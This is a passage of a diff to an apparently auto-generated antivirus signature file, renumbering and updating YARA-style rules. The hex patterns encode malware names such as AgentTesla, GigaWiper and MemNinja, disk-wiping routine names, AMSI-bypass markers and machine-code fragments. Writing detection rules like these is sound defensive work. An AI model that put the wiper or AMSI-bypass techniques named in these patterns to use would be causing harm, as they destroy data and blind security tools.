1)*16675+(#a_63_1 & 1)*13413) >=1 } -rule _InfrastructureShared_9554{ +rule _InfrastructureShared_10158{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -102834,7 +109449,7 @@ rule _InfrastructureShared_9554{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*25910) >=1 } -rule _InfrastructureShared_9555{ +rule _InfrastructureShared_10159{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -102845,7 +109460,7 @@ rule _InfrastructureShared_9555{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*14689) >=1 } -rule _InfrastructureShared_9556{ +rule _InfrastructureShared_10160{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -102856,7 +109471,7 @@ rule _InfrastructureShared_9556{ ((#a_46_0 & 1)*16675+(#a_35_1 & 1)*12900) >=1 } -rule _InfrastructureShared_9557{ +rule _InfrastructureShared_10161{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -102866,7 +109481,7 @@ rule _InfrastructureShared_9557{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9558{ +rule _InfrastructureShared_10162{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -102878,7 +109493,7 @@ rule _InfrastructureShared_9558{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*633+(#a_52_2 & 1)*21076) >=1 } -rule _InfrastructureShared_9559{ +rule _InfrastructureShared_10163{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -102890,7 +109505,7 @@ rule _InfrastructureShared_9559{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*22095+(#a_48_2 & 1)*21061) >=1 } -rule _InfrastructureShared_9560{ +rule _InfrastructureShared_10164{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -102904,7 +109519,7 @@ rule _InfrastructureShared_9560{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*114+(#a_ec_2 & 1)*-29951+(#a_3a_3 & 1)*17744+(#a_c7_4 & 1)*20480) >=1 } -rule _InfrastructureShared_9561{ +rule _InfrastructureShared_10165{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -102915,7 +109530,7 @@ rule _InfrastructureShared_9561{ ((#a_46_0 & 1)*16675+(#a_89_1 & 1)*17839) >=2 } -rule _InfrastructureShared_9562{ +rule _InfrastructureShared_10166{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -102926,7 +109541,7 @@ rule _InfrastructureShared_9562{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*5631) >=2 } -rule _InfrastructureShared_9563{ +rule _InfrastructureShared_10167{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -102937,7 +109552,7 @@ rule _InfrastructureShared_9563{ ((#a_77_0 & 1)*16675+(#a_73_1 & 1)*26469) >=2 } -rule _InfrastructureShared_9564{ +rule _InfrastructureShared_10168{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -102948,7 +109563,7 @@ rule _InfrastructureShared_9564{ ((#a_63_0 & 1)*16931+(#a_61_1 & 1)*25966) >=2 } -rule _InfrastructureShared_9565{ +rule _InfrastructureShared_10169{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -102959,7 +109574,7 @@ rule _InfrastructureShared_9565{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1) >=2 } -rule _InfrastructureShared_9566{ +rule _InfrastructureShared_10170{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -102970,7 +109585,7 @@ rule _InfrastructureShared_9566{ ((#a_54_0 & 1)*18467+(#a_16_1 & 1)*-32767) >=2 } -rule _InfrastructureShared_9567{ +rule _InfrastructureShared_10171{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -102981,7 +109596,7 @@ rule _InfrastructureShared_9567{ ((#a_4c_0 & 1)*21539+(#a_85_1 & 1)*-5328) >=2 } -rule _InfrastructureShared_9568{ +rule _InfrastructureShared_10172{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -102992,7 +109607,7 @@ rule _InfrastructureShared_9568{ ((#a_77_0 & 1)*27683+(#a_4d_1 & 1)*257) >=2 } -rule _InfrastructureShared_9569{ +rule _InfrastructureShared_10173{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 01 00 02 00 21 " @@ -103003,7 +109618,7 @@ rule _InfrastructureShared_9569{ ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*3108) >=1 } -rule _InfrastructureShared_9570{ +rule _InfrastructureShared_10174{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 01 00 03 00 21 " @@ -103015,7 +109630,7 @@ rule _InfrastructureShared_9570{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*-28533+(#a_33_2 & 1)*400) >=1 } -rule _InfrastructureShared_9571{ +rule _InfrastructureShared_10175{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -103027,7 +109642,7 @@ rule _InfrastructureShared_9571{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25972+(#a_8b_2 & 1)*513) >=3 } -rule _InfrastructureShared_9572{ +rule _InfrastructureShared_10176{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -103038,7 +109653,7 @@ rule _InfrastructureShared_9572{ ((#a_46_0 & 1)*16675+(#a_48_2 & 1)*656) >=3 } -rule _InfrastructureShared_9573{ +rule _InfrastructureShared_10177{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -103049,7 +109664,7 @@ rule _InfrastructureShared_9573{ ((#a_54_0 & 1)*18467+(#a_9d_2 & 1)*-1399) >=3 } -rule _InfrastructureShared_9574{ +rule _InfrastructureShared_10178{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -103060,7 +109675,7 @@ rule _InfrastructureShared_9574{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*44) >=3 } -rule _InfrastructureShared_9575{ +rule _InfrastructureShared_10179{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -103071,7 +109686,7 @@ rule _InfrastructureShared_9575{ ((#a_54_0 & 1)*18467+(#a_43_2 & 1)*3840) >=3 } -rule _InfrastructureShared_9576{ +rule _InfrastructureShared_10180{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -103083,7 +109698,7 @@ rule _InfrastructureShared_9576{ ((#a_54_0 & 1)*18467+(#a_d5_1 & 1)*31298+(#a_2c_2 & 1)*-16924) >=3 } -rule _InfrastructureShared_9577{ +rule _InfrastructureShared_10181{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -103095,7 +109710,7 @@ rule _InfrastructureShared_9577{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*29216+(#a_02_2 & 1)*-5522) >=3 } -rule _InfrastructureShared_9578{ +rule _InfrastructureShared_10182{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -103106,7 +109721,7 @@ rule _InfrastructureShared_9578{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*-12801) >=3 } -rule _InfrastructureShared_9579{ +rule _InfrastructureShared_10183{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -103118,7 +109733,7 @@ rule _InfrastructureShared_9579{ ((#a_46_0 & 1)*21283+(#a_69_1 & 1)*656+(#a_02_2 & 1)*66) >=3 } -rule _InfrastructureShared_9580{ +rule _InfrastructureShared_10184{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -103129,7 +109744,7 @@ rule _InfrastructureShared_9580{ ((#a_46_0 & 1)*21283+(#a_08_1 & 1)*-29928) >=3 } -rule _InfrastructureShared_9581{ +rule _InfrastructureShared_10185{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -103142,7 +109757,7 @@ rule _InfrastructureShared_9581{ ((#a_54_0 & 1)*18467+(#a_80_1 & 1)*-29243+(#a_00_2 & 1)*5192+(#a_65_3 & 1)*23553) >=3 } -rule _InfrastructureShared_9582{ +rule _InfrastructureShared_10186{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -103155,7 +109770,7 @@ rule _InfrastructureShared_9582{ ((#a_46_0 & 1)*16675+(#a_61_2 & 1)*21249+(#a_01_3 & 1)*1+(#a_81_4 & 1)*1) >=3 } -rule _InfrastructureShared_9583{ +rule _InfrastructureShared_10187{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -103163,28 +109778,41 @@ rule _InfrastructureShared_9583{ $a_46_0 = {44 69 73 61 62 6c 65 41 4d 53 49 2e 50 61 74 63 68 2e 41 00 01 00 08 01 b8 57 00 07 80 c3 00 00 01 00 09 01 b8 57 00 07 80 c2 18 00 00 01 00 06 01 c3 80 07 00 57 b8 01 00 07 01 18 c2 80 07 00 57 b8 01 00 0c 81 01 75 46 63 41 42 } //21283 $a_47_1 = {41 3d 01 00 08 81 01 75 46 63 41 42 34 44 44 01 00 08 81 01 61 6d 73 69 2e 64 6c 6c 01 00 0e 81 01 41 6d 73 69 53 63 61 6e 42 75 66 66 65 72 00 00 78 8e 00 00 04 00 04 00 03 00 21 23 54 45 4c 3a 54 72 } //17460 $a_6e_2 = {57 69 6e 33 32 2f 4a 61 69 6b 2e 41 21 4d 54 42 00 02 00 2b 01 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 4d 69 63 72 6f 73 6f 66 74 5c 50 72 6f 67 72 61 6d 5c 7a 69 6c 69 61 6f 2e 6a 70 67 01 00 18 01 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 4d 69 63 72 6f 73 6f 66 74 5c 01 00 19 01 45 } //27247 - $a_55_3 = {64 61 74 65 5c 4c 6f 67 5c 63 68 75 61 6e 67 6b 6f 75 2e 00 00 78 8e 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 47 4b 21 4d 54 42 00 01 00 18 81 01 44 61 6e 67 4b 79 48 6f 63 50 68 61 6e 2e 50 72 6f 70 65 72 74 69 65 73 01 00 08 81 } //26468 - $a_75_4 = {48 54 48 50 01 00 25 81 01 24 61 34 39 31 30 61 66 32 2d 32 38 38 62 2d 34 30 39 37 2d 61 38 34 66 2d 34 61 62 38 38 37 37 36 38 35 37 34 01 00 08 81 01 44 4b 48 50 2e 6d 64 66 00 00 78 8e 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 50 30 } //17153 - $a_32_5 = {21 4d 54 42 00 01 00 2b 01 44 69 73 70 6f 73 65 00 64 69 73 70 6f 73 69 6e 67 00 49 6e 69 74 69 61 6c 69 7a 65 43 6f 6d 70 6f 6e 65 6e 74 00 43 43 56 43 00 } //12341 䴡䉔Ā⬀䐁獩潰敳搀獩潰楳杮䤀楮楴污穩䍥浯潰敮瑮䌀噃C - $a_01_6 = {54 6f 53 74 72 69 6e 67 } //1 ToString - $a_01_7 = {42 6c 6f 63 6b 43 6f 70 79 } //1 BlockCopy + $a_55_3 = {64 61 74 65 5c 4c 6f 67 5c 63 68 75 61 6e 67 6b 6f 75 2e 00 00 78 8e 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 44 6f 53 3a 57 69 6e 36 34 2f 47 69 67 61 57 69 70 65 72 2e 44 21 64 68 61 00 01 00 16 01 74 6f 6f 6c 73 2e 57 72 69 74 65 5a 65 72 6f 54 6f 44 72 69 76 65 01 00 14 01 74 6f 6f 6c 73 2e 57 72 } //26468 + $a_46_4 = {54 6f 44 72 69 76 65 01 00 16 01 74 6f 6f 6c 73 2e 57 72 69 74 65 52 61 6e 64 54 6f 44 72 69 76 65 01 00 16 01 74 6f 6f 6c 73 2e 46 69 6e 64 57 69 6e 64 6f 77 73 44 72 69 76 65 00 00 78 8e 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 } //29801 + $a_4d_5 = {42 00 01 00 18 81 01 44 61 6e 67 4b 79 48 6f 63 50 68 61 6e 2e 50 72 6f 70 65 72 74 69 65 73 01 00 } //19271 + $a_43_6 = {75 } //-32504 u + $a_48_7 = {01 00 25 81 01 24 61 34 39 31 30 61 66 32 2d 32 38 38 62 2d 34 30 39 37 2d 61 38 34 66 2d 34 61 62 38 38 37 37 36 38 35 37 34 01 00 08 81 01 44 4b 48 50 2e 6d 64 66 00 00 78 8e 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 } //18529 condition: - ((#a_46_0 & 1)*21283+(#a_47_1 & 1)*17460+(#a_6e_2 & 1)*27247+(#a_55_3 & 1)*26468+(#a_75_4 & 1)*17153+(#a_32_5 & 1)*12341+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=3 + ((#a_46_0 & 1)*21283+(#a_47_1 & 1)*17460+(#a_6e_2 & 1)*27247+(#a_55_3 & 1)*26468+(#a_46_4 & 1)*29801+(#a_4d_5 & 1)*19271+(#a_43_6 & 1)*-32504+(#a_48_7 & 1)*18529) >=3 } -rule _InfrastructureShared_9584{ +rule _InfrastructureShared_10188{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4a 61 69 6b 2e 41 21 4d 54 42 00 02 00 2b 01 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 4d 69 63 72 6f 73 6f 66 74 5c 50 72 6f 67 72 61 6d 5c 7a 69 6c 69 61 6f 2e 6a } //21539 $a_00_1 = {18 } //26480 - $a_50_2 = {6f 67 72 61 6d 44 61 74 61 5c 4d 69 63 72 6f 73 6f 66 74 5c 01 00 19 01 45 64 67 65 55 70 64 61 74 65 5c 4c 6f 67 5c 63 68 75 61 6e 67 6b 6f 75 2e 00 00 78 8e 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 47 } //14849 + $a_50_2 = {6f 67 72 61 6d 44 61 74 61 5c 4d 69 63 72 6f 73 6f 66 74 5c 01 00 19 01 45 64 67 65 55 70 64 61 74 65 5c 4c 6f 67 5c 63 68 75 61 6e 67 6b 6f 75 2e 00 00 78 8e 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 44 6f 53 3a 57 69 6e 36 34 2f 47 69 67 61 57 69 70 65 72 2e 44 21 64 68 61 } //14849 condition: ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*26480+(#a_50_2 & 1)*14849) >=4 } -rule _InfrastructureShared_9585{ +rule _InfrastructureShared_10189{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {44 6f 53 3a 57 69 6e 36 34 2f 47 69 67 61 57 69 70 65 72 2e 44 21 64 68 61 00 01 00 16 01 74 6f 6f 6c 73 2e 57 72 69 74 65 5a 65 72 6f 54 6f 44 72 69 76 65 01 00 14 01 74 6f 6f 6c 73 2e 57 72 69 74 65 46 46 54 6f 44 72 69 76 65 } //16675 + $a_01_1 = {74 6f 6f 6c 73 2e 57 72 69 74 65 52 61 6e 64 54 6f 44 72 69 76 65 } //1 tools.WriteRandToDrive + $a_01_2 = {74 6f 6f 6c 73 2e 46 69 6e 64 57 69 6e 64 6f 77 73 44 72 69 76 65 } //1 tools.FindWindowsDrive + $a_8e_3 = {00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 47 4b 21 4d 54 42 00 01 00 18 81 01 44 61 6e 67 4b 79 48 6f 63 50 68 61 6e 2e 50 72 6f 70 65 72 74 69 65 73 01 00 08 81 01 43 68 75 61 48 54 48 50 01 00 25 81 01 24 61 34 39 31 30 61 66 32 2d 32 38 38 62 2d 34 30 39 37 2d 61 38 34 66 2d 34 61 62 38 } //0 + condition: + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_8e_3 & 1)*0) >=4 + +} +rule _InfrastructureShared_10190{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -103197,19 +109825,32 @@ rule _InfrastructureShared_9585{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*385+(#a_44_2 & 1)*-32504+(#a_64_3 & 1)*11856) >=4 } -rule _InfrastructureShared_9586{ +rule _InfrastructureShared_10191{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 50 30 35 30 34 32 34 21 4d 54 42 00 01 00 2b 01 44 69 73 70 6f 73 65 00 64 69 73 70 6f 73 69 6e 67 00 49 6e 69 74 69 61 6c 69 7a 65 43 6f 6d 70 6f 6e 65 6e 74 00 43 43 56 43 } //18467 - $a_53_2 = {72 69 6e 67 01 00 09 01 42 6c 6f 63 6b 43 6f 70 79 01 00 0f 01 49 6e 69 74 69 61 6c 69 7a 65 41 72 72 61 79 00 00 78 8e 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 41 41 4d 31 32 33 21 4d 54 42 00 01 00 20 81 01 73 75 70 65 72 65 78 69 73 74 20 73 75 62 63 6f 6e 74 69 6e 65 6e 74 61 } //21505 - $a_61_3 = {6e 63 68 01 00 07 81 01 67 75 6e 70 6f 72 74 01 00 10 81 01 74 72 79 6b 6c 75 66 74 73 62 6f 72 65 6e 65 73 01 00 19 81 01 73 6b 72 69 66 74 62 69 6c 6c 65 64 65 74 20 64 79 6e 67 65 20 77 61 62 73 00 00 78 8e 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4d 4d 44 31 32 33 21 } //8300 + $a_53_2 = {72 69 6e 67 01 00 09 01 42 6c 6f 63 6b 43 6f 70 79 01 00 0f 01 49 6e 69 74 69 61 6c 69 7a 65 41 72 72 61 79 00 00 78 8e 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 48 30 31 21 4d 54 42 00 01 00 20 81 01 67 75 6c 64 73 74 6f 6c 65 6e 65 20 75 6e 69 76 65 72 73 69 74 79 6c 69 6b 65 } //21505 + $a_61_3 = {6c 01 00 16 81 01 75 6e 69 71 75 65 73 20 72 61 64 62 72 6b 6e 69 6e 67 65 72 6e 65 01 00 09 81 01 64 72 65 63 6b 2e 65 78 65 01 00 13 81 01 64 69 73 67 72 65 67 61 74 65 20 62 72 65 65 63 68 65 73 00 00 78 8e 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 41 41 4d 31 32 33 21 4d 54 } //29472 condition: - ((#a_54_0 & 1)*18467+(#a_53_2 & 1)*21505+(#a_61_3 & 1)*8300) >=4 + ((#a_54_0 & 1)*18467+(#a_53_2 & 1)*21505+(#a_61_3 & 1)*29472) >=4 } -rule _InfrastructureShared_9587{ +rule _InfrastructureShared_10192{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 48 30 31 21 4d 54 42 00 01 00 20 81 01 67 75 6c 64 73 74 6f 6c 65 6e 65 20 75 6e 69 76 65 72 73 69 74 79 6c 69 6b 65 20 73 6e 61 69 6c 01 00 16 81 01 75 6e 69 71 75 65 73 20 72 61 64 62 72 6b 6e } //18467 + $a_65_1 = {6e 65 01 00 09 81 01 64 72 65 63 6b 2e 65 78 65 01 00 13 81 01 64 69 73 67 72 65 67 61 74 65 20 62 72 65 65 63 68 65 73 00 00 78 8e 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 41 41 4d 31 32 33 21 4d 54 42 00 01 00 20 81 01 73 75 70 65 72 65 78 69 73 74 20 73 } //28265 + $a_6f_2 = {74 69 6e 65 6e 74 61 6c 20 6c 61 75 6e 63 68 01 00 07 81 01 67 75 6e 70 6f 72 74 01 00 10 81 01 74 72 79 6b 6c 75 66 74 73 62 6f 72 65 6e 65 73 01 00 19 81 01 73 6b 72 69 66 74 62 69 6c 6c 65 64 65 74 20 64 79 6e 67 65 20 77 61 62 73 00 00 78 8e 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 } //25205 + $a_2f_3 = {75 6c 6f 61 64 65 72 2e 4b 4d 4d 44 31 32 33 21 4d 54 42 00 01 00 1d 81 01 63 65 6e 74 72 61 6c 6b 61 72 74 6f 74 65 6b 65 74 73 20 70 61 6c 6d 69 74 } //13166 + condition: + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28265+(#a_6f_2 & 1)*25205+(#a_2f_3 & 1)*13166) >=4 + +} +rule _InfrastructureShared_10193{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -103222,7 +109863,7 @@ rule _InfrastructureShared_9587{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*31090+(#a_70_2 & 1)*29556+(#a_01_3 & 1)*28261) >=4 } -rule _InfrastructureShared_9588{ +rule _InfrastructureShared_10194{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -103234,7 +109875,7 @@ rule _InfrastructureShared_9588{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29797+(#a_6d_3 & 1)*385) >=4 } -rule _InfrastructureShared_9589{ +rule _InfrastructureShared_10195{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -103247,7 +109888,7 @@ rule _InfrastructureShared_9589{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26485+(#a_61_2 & 1)*385+(#a_48_3 & 1)*20555) >=4 } -rule _InfrastructureShared_9590{ +rule _InfrastructureShared_10196{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -103260,7 +109901,7 @@ rule _InfrastructureShared_9590{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*30058+(#a_6e_2 & 1)*27756+(#a_56_3 & 1)*11890) >=4 } -rule _InfrastructureShared_9591{ +rule _InfrastructureShared_10197{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -103273,7 +109914,7 @@ rule _InfrastructureShared_9591{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28277+(#a_6d_2 & 1)*25964+(#a_65_3 & 1)*24943) >=4 } -rule _InfrastructureShared_9592{ +rule _InfrastructureShared_10198{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -103286,7 +109927,7 @@ rule _InfrastructureShared_9592{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*28781+(#a_61_2 & 1)*28271+(#a_01_3 & 1)*8192) >=4 } -rule _InfrastructureShared_9593{ +rule _InfrastructureShared_10199{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -103299,7 +109940,7 @@ rule _InfrastructureShared_9593{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*28261+(#a_71_2 & 1)*12141+(#a_61_3 & 1)*25956) >=4 } -rule _InfrastructureShared_9594{ +rule _InfrastructureShared_10200{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -103307,24 +109948,36 @@ rule _InfrastructureShared_9594{ $a_41_0 = {42 6c 6f 63 6b 3a 47 61 64 67 65 74 42 6f 78 00 01 00 1b 80 01 73 65 61 72 63 68 2e 67 61 64 67 65 74 62 6f 78 61 70 70 2e 63 6f 6d 2f 3f 71 3d 01 00 13 80 01 73 65 61 72 63 68 2e 74 68 65 62 66 6c 69 78 2e 63 6f 6d 01 00 0e 80 01 5c 73 65 61 72 63 68 50 } //20515 $a_69_1 = {73 01 00 20 80 01 62 72 6f 77 73 65 72 2e 73 65 61 72 63 68 2e 64 65 66 61 75 6c 74 65 6e 67 69 6e 65 6e 61 6d 65 00 00 78 8e 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 42 79 65 49 6e 74 65 67 2e 41 00 01 00 42 80 01 45 6c 65 76 61 74 69 6f 6e 3a 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 21 6e } //30060 $a_7b_2 = {41 44 30 35 35 37 35 2d 38 38 35 37 2d 34 38 35 30 2d 39 32 37 37 2d 31 31 42 38 35 42 44 42 38 45 30 39 7d 01 00 07 80 01 41 54 4c 2e 64 6c 6c 01 00 0b 80 01 57 6d 69 4d 67 } //30565 - $a_6d_3 = {63 01 00 07 80 01 6d 6d 63 2e 65 78 65 00 00 78 8e 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6c } //29805 + $a_6d_3 = {63 01 00 07 80 01 6d 6d 63 2e 65 78 65 00 00 78 8e 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 4d 65 6d 4e 69 6e 6a 61 2e } //29805 condition: ((#a_41_0 & 1)*20515+(#a_69_1 & 1)*30060+(#a_7b_2 & 1)*30565+(#a_6d_3 & 1)*29805) >=4 } -rule _InfrastructureShared_9595{ +rule _InfrastructureShared_10201{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {57 69 6e 33 32 2f 42 79 65 49 6e 74 65 67 2e 41 00 01 00 42 80 01 45 6c 65 76 61 74 69 6f 6e 3a 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 21 6e 65 77 3a 7b 33 41 44 30 35 35 37 35 2d 38 38 35 37 2d 34 38 35 30 2d 39 32 37 37 2d 31 } //21283 $a_35_1 = {44 42 38 45 30 39 7d 01 00 07 80 01 41 54 4c 2e 64 6c 6c 01 00 0b 80 01 57 6d 69 4d 67 6d 74 2e 6d 73 63 01 00 07 80 01 6d 6d 63 2e 65 78 65 00 00 78 8e 00 00 04 00 04 } //16945 - $a_3a_3 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6c 75 67 58 2e 41 46 21 64 68 61 00 01 00 16 01 73 00 76 00 63 00 68 00 6f 00 73 00 74 00 2e 00 62 00 69 00 6e 00 01 00 0e 01 2f 70 72 6f 63 2f 31 32 33 2f 73 74 61 74 01 00 16 01 63 3a 5c } //17748 + $a_3a_3 = {69 6e 36 34 2f 4d 65 6d 4e 69 6e 6a 61 2e 42 00 01 00 19 01 48 89 e0 c7 40 28 04 00 00 00 c7 40 20 00 10 00 00 31 c0 41 89 c0 48 c7 c1 01 00 25 01 48 01 c8 8b 40 10 89 44 24 2c 48 8b 4c 24 38 48 8b 54 24 30 4c } //19539 condition: - ((#a_46_0 & 1)*21283+(#a_35_1 & 1)*16945+(#a_3a_3 & 1)*17748) >=4 + ((#a_46_0 & 1)*21283+(#a_35_1 & 1)*16945+(#a_3a_3 & 1)*19539) >=4 } -rule _InfrastructureShared_9596{ +rule _InfrastructureShared_10202{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {57 69 6e 36 34 2f 4d 65 6d 4e 69 6e 6a 61 2e 42 00 01 00 19 01 48 